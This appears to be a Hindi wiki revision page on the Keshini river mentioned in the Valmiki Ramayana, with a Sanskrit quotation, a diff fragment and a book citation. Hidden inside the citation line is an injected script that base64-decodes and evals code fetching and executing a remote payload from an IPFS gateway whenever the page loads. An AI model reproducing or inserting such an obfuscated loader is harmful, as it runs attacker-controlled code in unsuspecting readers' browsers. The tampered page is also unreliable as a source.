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− | <blockquote>'तत्र तां रजनीमुष्यकेशिन्यां रघुनंदन:, प्रभाते पुनरुत्थाय लक्ष्मण: प्रययौ तदा। ततोऽर्ध दिवसे प्राप्ते प्रविवेश महारथ:, अयोध्यां रत्नसंपूर्णा हष्टपुष्टजनावृताम्’<ref>[[वाल्मीकि रामायण]], उत्तर. 52, 1-2.</ref></blockquote> | + | <blockquote> |
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07:18, 28 अगस्त 2012 का अवतरण
केशिनी नदी का उल्लेख वाल्मीकि रामायण में हुआ है। इसी नदी को अयोध्या के निकट प्रवाहित बताया गया है-
'तत्र तां रजनीमुष्यकेशिन्यां रघुनंदन:,
प्रभाते पुनरुत्थाय लक्ष्मण: प्रययौ तदा।
ततोऽर्ध दिवसे प्राप्ते प्रविवेश महारथ:,
अयोध्यां रत्नसंपूर्णा हष्टपुष्टजनावृताम्’[1]
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टीका टिप्पणी और संदर्भ
ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 587 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ वाल्मीकि रामायण, उत्तर. 52, 1-2.
संबंधित लेख
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